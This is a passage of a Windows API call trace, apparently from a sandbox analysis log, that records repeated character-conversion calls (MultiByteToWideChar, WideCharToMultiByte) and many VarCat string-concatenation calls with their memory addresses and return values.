CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="´") returned 1 [0048.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="µ") returned 1 [0048.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¶") returned 1 [0048.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="·") returned 1 [0048.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¸") returned 1 [0048.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¹") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="º") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="»") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¼") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="½") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¾") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="¿") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="À") returned 1 [0048.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Á") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ã") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Å") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Æ") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ç") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="È") returned 1 [0048.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="É") returned 1 [0048.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0048.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ë") returned 1 [0048.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ì") returned 1 [0048.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Í") returned 1 [0048.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Î") returned 1 [0048.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ï") returned 1 [0048.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ð") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ñ") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ó") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ô") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Õ") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ö") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="×") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ø") returned 1 [0048.610] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ù") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Û") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Ý") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ß") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="à") returned 1 [0048.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="á") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="â") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ã") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ä") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="å") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ç") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="è") returned 1 [0048.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="é") returned 1 [0048.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ê") returned 1 [0048.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ë") returned 1 [0048.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ì") returned 1 [0048.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="í") returned 1 [0048.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="î") returned 1 [0048.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ï") returned 1 [0048.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ð") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ñ") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ò") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ó") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ô") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="õ") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ö") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="÷") returned 1 [0048.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f804, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="ø") returned 1 [0048.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="M", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M", lpUsedDefaultChar=0x0) returned 1 [0048.615] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.616] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.617] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.618] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.619] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.619] 